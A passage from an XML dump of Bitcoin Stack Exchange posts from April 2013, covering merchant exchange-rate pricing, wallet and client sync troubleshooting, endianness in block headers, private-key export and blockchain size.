are, if any, foreseeable solutions to this extra pressure on merchants who accept crypto-currencies? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does it affect their customers who, implicitly, have to verify quotes in this or that currency in order to possibly get a better deal?&lt;/p&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="2306" LastEditDate="2013-04-15T05:48:58.940" LastActivityDate="2013-04-15T07:27:46.920" Title="How much does an online store that sells in multiple currencies need to know about exchange rates?" Tags="|commerce|merchants|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9793" PostTypeId="2" ParentId="9790" CreationDate="2013-04-15T05:26:32.507" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;For example, this address here has 69,471.08443061 BTC:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I believe there's another that has 100k BTC.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Imagine if a few miners who together control more than 50% of the network hash power decided to charge higher transaction fees just for addresses containing really large sums.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The problem is that if some other miner who isn't part of your cartel sees the transaction, he'll gladly include it.&lt;/p&gt;&#xA;&lt;p&gt;However, perhaps you mean that you would also not build on blocks that contained transactions from the offending address.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;How would the rest of the network detect such a problem (given it involves only one particular address)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Given that you don't know who owns that address, you need to declare publicly that you're not confirming transactions from that address unless you get a 25% fee. It's rather difficult to extort someone if you don't tell them your demands.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is it &amp;quot;illegal&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Collecting together a majority of hashpower is definitely against the spirit of Bitcoin - remember that huge kerfuffle on the forums when BTC Guild got 40% of the network hashpower?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[UPDATED]&lt;/p&gt;&#xA;&lt;p&gt;Also, as an incentive to the rest of the participants in the economy, it is announced that part of the higher transactions fees will be distributed to everyone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is a problem for two reasons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you're distributing the funds to everybody weighted by how much they send you, then you're taking this wealth redistribution tax and sending it right back to the wealthy.&lt;/li&gt;&#xA;&lt;li&gt;If you're doing this by address, well, need I remind you that new addresses are basically free?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I also thought of a new problem. Suppose the guy who has the 69k account has a mining rig. 69k makes a transaction with a 25% fee, but &lt;em&gt;doesn't&lt;/em&gt; broadcast it. Instead, he puts it into a block that he mines. If he's got 0.1% of hashpower, then he can get it into the blockchain within a week.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-17T16:17:29.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9794" PostTypeId="2" ParentId="9791" CreationDate="2013-04-15T05:42:05.617" Score="2" Body="&lt;p&gt;This was extensively discussed @bitcointalk.org, for one example see:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=146964.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=146964.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is much more in other threads there.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastActivityDate="2013-04-15T05:42:05.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9795" PostTypeId="2" ParentId="9792" CreationDate="2013-04-15T05:47:57.310" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But what is an online store, that quotes goods both in Bitcoin and, say Ripple (but insert any alternative crypto currency here), to do in this situation? It has to have a fast and reliable access to some exchange current bid and ask and constantly update the prices of goods.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First off, would that really be so bad? I could write a program that polled exchanges, took the median of the exchange rates, and use that to price my goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, having prices that are slightly different because of changing exchange rates isn't necessarily a bad thing, because it can end up functioning as price discrimination. Price sensitive customers will look up the exchange rates and use the one that is less expensive. Price insensitive customers will use whatever is close at hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, how much you need to know about exchange rates is closely tied to how much your average customer knows.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-15T05:47:57.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9796" PostTypeId="2" ParentId="8423" CreationDate="2013-04-15T06:57:43.493" Score="1" Body="&lt;p&gt;I had the same issue. What i did is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;goto &lt;code&gt;/library/application support/bitcoin/blocks&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;renamed the &lt;code&gt;index&lt;/code&gt; folder to &lt;code&gt;index1&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;started bitcoin-qt again&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The application started reindexing again but my wallet keys are still there.&lt;/p&gt;&#xA;" OwnerUserId="4394" LastEditorUserId="3364" LastEditDate="2013-04-15T09:51:55.563" LastActivityDate="2013-04-15T09:51:55.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9797" PostTypeId="2" ParentId="9792" CreationDate="2013-04-15T07:27:46.920" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But what is an online store, that quotes goods both in Bitcoin and, say Ripple (but insert any alternative crypto currency here), to do in this situation? It has to have a fast and reliable access to some exchange current bid and ask and constantly update the prices of goods.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since you mentioned Ripple I'll give you a Ripple answer. If a merchant was using Ripple as a payment processor then the merchant would typically just price things in whatever currency they wish; probably their local currency, say USD. Almost certainly not in XRP (ripples). They'd completely ignore the exchange rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People paying via Ripple could use whatever currency they have access to by using any available credit paths and trade offers. That's what Ripple does and why it's called Ripple. The merchant doesn't have to worry about today's USD/JPY rate for a customer wishing to pay in Yen as long as someone is trading USD/JPY on Ripple. Or, if no one is trading USD/JPY at a good rate then one person trading (say) JPY/XRP and another USD/XRP is also good; Ripple will offer the person paying the best rate it can find. If someone wants to pay in HRS (hours) that they'll owe a friend that can work. The merchant recieves USD (or whatever they asked for).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does it affect their customers who, implicitly, have to verify quotes in this or that currency in order to possibly get a better deal?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the case of Ripple it's left up to the person paying to chose between the currency options they're given. Sadly the current interface for this no longer shows them the effect exchange rate so they're left figuring out which rates are reasonable for them.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-04-15T07:27:46.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9799" PostTypeId="2" ParentId="9755" CreationDate="2013-04-15T10:15:07.983" Score="1" Body="&lt;p&gt;If your computer is overclocked, this may fail repeatedly. Even overclocks that are stable in other situations can fail during this CPU/memory intensive sync process. Go back to stock settings and try again. &lt;/p&gt;&#xA;" OwnerUserId="2948" LastActivityDate="2013-04-15T10:15:07.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9800" PostTypeId="2" ParentId="9755" CreationDate="2013-04-15T10:36:44.777" Score="1" Body="&lt;p&gt;You may have more luck if you just use a bootstrap file. &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/bootstrap.dat&quot; rel=&quot;nofollow&quot;&gt;Download one&lt;/a&gt; and put it in your bitcoin data directory (remove everything else from the directory, but let &lt;code&gt;wallet.dat&lt;/code&gt; stay). Name the file &lt;code&gt;bootstrap.dat&lt;/code&gt; and then start the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap file I linked to only contains 190.000 blocks, so after that you still need to download ~40.000 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as Abei Villafane said, be careful with overclocking. It only takes a single memory error for the chain download to break, and those are far less likely when not overclocking.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-15T10:36:44.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9801" PostTypeId="1" CreationDate="2013-04-15T10:38:37.130" Score="1" ViewCount="408" Body="&lt;p&gt;I have downloaded Bitcoin-Qt for Mac yesterday. I understand that it takes a while to &quot;synchronise&quot; but this site says one can access it whilst this process takes place. I have the Bitcoin in my applications folder but when I click on the icon nothing happens. A friend says he could monitor the progress of the synch, I can't see anything. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="44" LastEditDate="2013-04-17T07:28:40.623" LastActivityDate="2013-04-17T07:28:40.623" Title="How much time does it take for the bitcoin-qt window to show up in OS X 10.4?" Tags="|bitcoin-core|mac|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9802" PostTypeId="2" ParentId="9789" CreationDate="2013-04-15T10:49:11.203" Score="4" Body="&lt;p&gt;The nBits don't exactly get swapped. The notation on the wiki is in big-endian notation, which is basically the notation you'd use when displaying it, similar how the number twelve is written 12 and not 21 (different number order) but can be stored as 21 by a computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your modern computer uses little-endian, which means that if you write something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int myInt = 0x1d00ffff;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It will actually store that in the RAM as &lt;code&gt;0xff 0xff 0x00 0x1d&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that, when you take the pointer of that &lt;code&gt;int&lt;/code&gt;, and convert it to a &lt;code&gt;unsigned char*&lt;/code&gt;, you get the little-endian order of it. Which happens to be what the reference client does :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(const unsigned char*)pszTimestamp &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, to put &lt;code&gt;myInt&lt;/code&gt; in a &lt;code&gt;char[]&lt;/code&gt;, all you have to do is copy it there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char tx[4];&#xA;int myInt = 0x1d00ffff;&#xA;memcpy(tx, &amp;amp;myInt, 4);&#xA;// tx now contains 0xff 0xff 0x00 0x1d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The only things that bitcoin actually swaps are network port numbers, which are stored in the memory as big endian numbers. Anything else doesn't really get swapped by bitcoin, it just stores them in the CPU's native endianness.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-15T10:49:11.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9803" PostTypeId="2" ParentId="9801" CreationDate="2013-04-15T11:00:29.153" Score="2" Body="&lt;p&gt;When you open the Mac client, it first displays the loading screen for a while :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iVxyV.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that it displays the main screen and starts synchronizing :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cesH7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the client is &lt;em&gt;really&lt;/em&gt; slow and might take a while to load. If it's still not displaying the loading screen after a minute, try opening it again. As far as I know the Mac client doesn't have any requirements for installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To diagnose the issue, please perform these steps :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Activity Monitor (it's in the Utilities folder) and see if Bitcoin-qt is running. It should be.&lt;/li&gt;&#xA;&lt;li&gt;Open Console (also in Utilities) and see if there are any errors about Bitcoin-qt.&lt;/li&gt;&#xA;&lt;li&gt;Restart your Mac. It may help.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-15T11:00:29.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9804" PostTypeId="2" ParentId="9760" CreationDate="2013-04-15T11:48:04.083" Score="1" Body="&lt;p&gt;Unfortunately once you lose your wallet, there is no way of getting it back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet is so inportant because it contains your &lt;strong&gt;private key&lt;/strong&gt;, this key is used to send money from your wallet to other people. Without it you can't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next time consider writing down the private key and keep it locked up, or keep an offline version of your wallet.dat file. however be careful with keeping online versions, since anyone who has your private key can send money anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for clarity, you talk about your 'adress', is this your public or your private key? With other words, did you use it to send money? Or to recieve money?&lt;/p&gt;&#xA;" OwnerUserId="4232" LastActivityDate="2013-04-15T11:48:04.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9805" PostTypeId="2" ParentId="8423" CreationDate="2013-04-15T11:48:15.773" Score="1" Body="&lt;p&gt;You can safely delete any Bitcoin-qt files as long as you let the &lt;code&gt;wallet.dat&lt;/code&gt; file stay.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-15T11:48:15.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9806" PostTypeId="1" CreationDate="2013-04-15T13:17:16.367" Score="0" ViewCount="3810" Body="&lt;p&gt;I was looking at &lt;a href=&quot;https://en.bitcoin.it/wiki/Introduction#How_many_people_use_Bitcoin.3F&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt;.   It estimated 60,000 users (Sep 2011) based on&#xA;counting the number of bitcoin clients connected to the network in the last 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible estimate could come from Sourceforge download numbers.  But that include multiple download by the same person and across different version, and also exclude users that may have downloaded the client from other mirrors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have there been any new estimates on the total number of bitcoin users, or if this is too hard to count -- the number of unique wallets?&lt;/p&gt;&#xA;" OwnerUserId="1097" LastEditorUserId="5406" LastEditDate="2014-10-12T22:01:17.367" LastActivityDate="2014-10-12T22:01:17.367" Title="Is there a way to estimate total number of bitcoin users/wallets?" Tags="|adoption|user-base|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-18T08:05:51.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="9807" PostTypeId="2" ParentId="9806" CreationDate="2013-04-15T13:25:31.280" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;The number of wallets is impossible to count, as they can contain zero to thousands of addresses each (zero, as there may be users who just want to observe, or clients that only create addresses when explicitly asked to).&lt;/li&gt;&#xA;&lt;li&gt;Counting users by number of client downloads won't give you a good estimation either, with all the web wallets that are out there, plus of course the other clients that are out there, the alternative ways of downloading the client and the double downloads.&lt;/li&gt;&#xA;&lt;li&gt;Counting connected clients will also give bad results, again because of the web wallets, plus people who don't broadcast their IP address or simply don't start the software unless they really need to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;may&lt;/em&gt; be able to estimate the total user count by asking all web wallets for their user counts, and then adding the amount of nodes on the network over a relatively long period. But then you'd still need to compensate for those who don't broadcast their address, dynamic IP addresses, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah, it's hard to estimate the user count.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-04-15T14:23:40.067" LastActivityDate="2013-04-15T14:23:40.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9808" PostTypeId="1" AcceptedAnswerId="9809" CreationDate="2013-04-15T02:27:14.223" Score="2" ViewCount="6111" Body="&lt;p&gt;Look at this entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sum BTC     Size BTC    Bid Price XRP&#xA;3.77987104  2.77987104  22,999.9999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is the sum of 3.77987104 calculated?&lt;/p&gt;&#xA;" OwnerUserId="4354" OwnerDisplayName="user4354" LastEditorUserId="5406" LastEditDate="2014-12-12T09:12:51.320" LastActivityDate="2014-12-12T09:12:51.320" Title="What does the sum column in Ripple.com order book mean?" Tags="|ripple|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9809" PostTypeId="2" ParentId="9808" CreationDate="2013-04-15T02:37:30.120" Score="3" Body="&lt;p&gt;The sum is the total value of all orders up to and including this one.&lt;/p&gt;&#xA;" OwnerUserId="85" OwnerDisplayName="David Schwartz" LastActivityDate="2013-04-15T02:37:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9810" PostTypeId="1" AcceptedAnswerId="9811" CreationDate="2013-04-15T17:10:08.633" Score="3" ViewCount="264" Body="&lt;p&gt;The firstbits address on the front of the coin (once fully resolved from blockexplorer) is just like any other address right? I can buy a 1 BTC Casascius physical coin, copy the address, bury that coin in my backyard, and use regular transactions to keep increasing its value?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2013-04-15T17:16:26.830" Title="Can you add value to a Casascius physical coin?" Tags="|physical-coins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9811" PostTypeId="2" ParentId="9810" CreationDate="2013-04-15T17:16:26.830" Score="5" Body="&lt;p&gt;Yes, you can add value.  The block chain only knows public keys. It doesn't care how or where the corresponding private keys are stored. &lt;/p&gt;&#xA;" OwnerUserId="3627" LastActivityDate="2013-04-15T17:16:26.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9812" PostTypeId="1" CreationDate="2013-04-15T20:04:16.993" Score="-2" ViewCount="1541" Body="&lt;p&gt;Below average PC, wondering if it'd be worth it. The possibility of damaging my PC also exists.&lt;/p&gt;&#xA;" OwnerUserId="4411" LastEditorUserId="5406" LastEditDate="2016-04-28T14:31:45.247" LastActivityDate="2016-04-28T14:31:45.247" Title="I have an ATI Radeon HD 4550; would starting to use BitCoin be worth it?" Tags="|mining-profitability|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-15T23:09:37.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="9813" PostTypeId="1" CreationDate="2013-04-15T20:07:17.330" Score="1" ViewCount="876" Body="&lt;p&gt;Problem&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;downloaded my wallet into a drive which does not have enough disk space left.  &lt;/li&gt;&#xA;&lt;li&gt;has not currently synced yet  &lt;/li&gt;&#xA;&lt;li&gt;transferred bitcoins by mistake whilst it was syncing  &lt;/li&gt;&#xA;&lt;li&gt;I have backed up my wallet but have not encrypted it yet.  &lt;/li&gt;&#xA;&lt;li&gt;I'm trying to gain access to my coins via importing of keys to .blockchain website.  &lt;/li&gt;&#xA;&lt;li&gt;I followed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7536/how-do-i-export-my-private-keys-from-my-bitcoin-qt-client&quot;&gt;this guide&lt;/a&gt;: &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To export a private key from your Satoshi bitcoin-qt client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launch your bitcoin client as usual and wait for it to load the blockchain and start up&#xA;click on 'help' in the menu bar (top right)&#xA;click on 'debug window'&#xA;select the 'console' tab&#xA;type: walletpassphrase &quot;your walletpassphrase here&quot; 600&#xA;type: dumpprivkey [your public key here]&#xA;this will return the private key, you can copy it now; ensure you clear your clipboard/history afterwards&#xA;type: walletlock    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All it says in the console.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;safemode,warning what is not displayed may be incorrect&#xA;might need to download upgrade, and nodes   code-2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to access my coins via blockchain website. My operating system is Windows; the client is bitcoin-qt version 0.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I export these keys?&lt;/p&gt;&#xA;" OwnerUserId="4412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-04-15T20:15:33.403" Title="Problem with importing key to blockchain.info" Tags="|private-key|private-key-export|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9814" PostTypeId="2" ParentId="9812" CreationDate="2013-04-15T20:15:09.990" Score="0" Body="&lt;p&gt;Simply put, unless you get electricity for free, &lt;strong&gt;no&lt;/strong&gt;. Check out some of the mining calculators linked in the dup question linked in the question comment.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-15T20:15:09.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9815" PostTypeId="1" CreationDate="2013-04-15T20:17:23.553" Score="4" ViewCount="3220" Body="&lt;p&gt;I know the answers to many questions on here briefly touch on this point, but I'd like to get a consolidated answer that really touches on the key differences between different types of hardware which allows SHA256 to perform better, instead of the less-related tangents other questions discuss. While my immediate concern is with Bitcoin, I know that some other crypto-currencies use different algorithms, so feel free to reference them if it helps make your point.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the Bitcoin hash algorithm, SHA256, perform better on different types of hardware? What makes an ASIC/FPGA capable of computing more H/s than a GPU, a GPU than a CPU, etc?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is &quot;the complexity of the cores?&quot; Is this a reference to the number of cores, or to the actual die complexity? In both cases, why is this not a factor in SHA256 performance? Referencing David Perry's answer &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4682/4271&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's important to note, by the way, that the one thing that won't buy you more hashes per second is the complexity of the cores. This is why Nvidia may make great cards for gaming purposes, but they suck for mining - games make better use of exotic new instructions than SHA256 does.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can SHA256 be optimized at all to perform better on a per-architecture basis? Can any optimizations be made to the double-hashing process?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4271" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-03-06T19:05:43.943" Title="What determines SHA256 performance on different types of hardware?" Tags="|hash|mining-hardware|mining-theory|algorithms|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9816" PostTypeId="1" CreationDate="2013-04-15T20:29:09.847" Score="6" ViewCount="12372" Body="&lt;p&gt;I'm a newbie to bitcoins, and need some help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the Bitcoin client and installed it on my laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is 'Synchronizing with the network' and has been doing this for over a day. Is this normal? I have broadband internet and sometimes download large files in a resonable amout of time so I'm pretty sure its not my internet connection speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand it is downloading the blockchain thing bit by bit but does it really take this long? Will I have to do the same if I were to change laptops or get a new computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, whilst it is 'Synchronizing with the network' it totally slows down my laptop, so much so that it takes ages to even launch my internet browser. Is this normal? Will it always do this when I run the Bitcoin client, i.e. slow the whole system down, or is this only the case when it is 'Synchronizing with the network'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!!&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2017-12-03T21:18:11.607" Title="How long does it take to download the blockchain? It's been over a day and still going" Tags="|blockchain|client|synchronization|time|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9817" PostTypeId="2" ParentId="9816" CreationDate="2013-04-15T21:39:08.977" Score="2" Body="&lt;p&gt;It all depends on the speed of your connection, CPU, and HDD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the entire bitcoin blockchain from the network in an hour or so on my amazon ec2 machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My old laptop took a few days to fully download it though.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-04-15T21:39:08.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9818" PostTypeId="2" ParentId="9816" CreationDate="2013-04-15T21:47:47.647" Score="9" Body="&lt;p&gt;&lt;strong&gt;You probably don't want to download the blockchain&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain currently weighs in at about &lt;strong&gt;144 GB&lt;/strong&gt; (&lt;a href=&quot;http://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;check current size&lt;/em&gt;&lt;/a&gt;) &lt;br /&gt;&#xA;Assuming you have solid 2 megabytes per second download speed, it would take around &lt;strong&gt;20 hours&lt;/strong&gt; just to download them. &lt;br /&gt;&#xA;In practice, this takes much longer, as your computer will verify every block individually, which takes some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you're not doing any mining, it may be wise to &lt;strong&gt;look into a lightweight client&lt;/strong&gt; such as &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;MultiBit&lt;/a&gt; or &lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4193" LastEditorUserId="4193" LastEditDate="2017-12-03T21:18:11.607" LastActivityDate="2017-12-03T21:18:11.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9822" PostTypeId="1" CreationDate="2013-04-15T23:36:40.347" Score="4" ViewCount="427" Body="&lt;p&gt;I'm a coin dealer and I have large ammounts of foreign coins (Euro, British Pounds, swiss francs, Japen Yen ect..  I was wondering if I could deposit those coins into my bitcoin account/wallet?&lt;/p&gt;&#xA;" OwnerUserId="4420" LastEditorUserId="153" LastEditDate="2013-04-16T22:33:43.550" LastActivityDate="2013-10-22T03:11:42.257" Title="Is there a market for converting my foreign currency and coin into bitcoins?" Tags="|wallet|exchanges|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9823" PostTypeId="2" ParentId="9822" CreationDate="2013-04-16T00:00:55.750" Score="0" Body="&lt;p&gt;You would need to find someone to trade with to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some exchanges may accept cash for some of those currencies, though they probably prefer electronic payments as mailing cash is risky. It's probably a better option to either deposit (and exchange) them at your local bank, and use the resulting funds to purchase your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, a person to person trade might work for you. The website &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; might help you with that? (Note: I haven't used it before)&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-16T00:00:55.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9824" PostTypeId="2" ParentId="9822" CreationDate="2013-04-16T00:23:05.687" Score="3" Body="&lt;p&gt;I think that perhaps you might misunderstand what bitcoin is. If you're looking for a way to sell your physical coins for bitcoin, there are ways to do that. Perhaps &lt;a href=&quot;http://bitcoin-otc.com&quot; rel=&quot;nofollow&quot;&gt;bitcoin-otc.com&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however, you're looking for some way to virtually/digitally trade your physical coins then bitcoin won't help. Depending on what you're actually trying to do, Ripple.com may be the closest digital currency system to help you, see this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=149533.0&quot; rel=&quot;nofollow&quot;&gt;topic on bitcointalk.org&lt;/a&gt; about how one person is leveraging his stash of pre-1964 US silver dimes on Ripple.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2013-04-16T03:01:19.080" LastActivityDate="2013-04-16T03:01:19.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9825" PostTypeId="1" CreationDate="2013-04-16T02:03:32.153" Score="3" ViewCount="4396" Body="&lt;p&gt;My balance in Electrum shows &quot;pending.&quot; What does pending mean? &lt;/p&gt;&#xA;" OwnerUserId="4422" LastActivityDate="2015-06-12T22:41:11.367" Title="Electrum &quot;Pending&quot; what does it mean" Tags="|electrum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
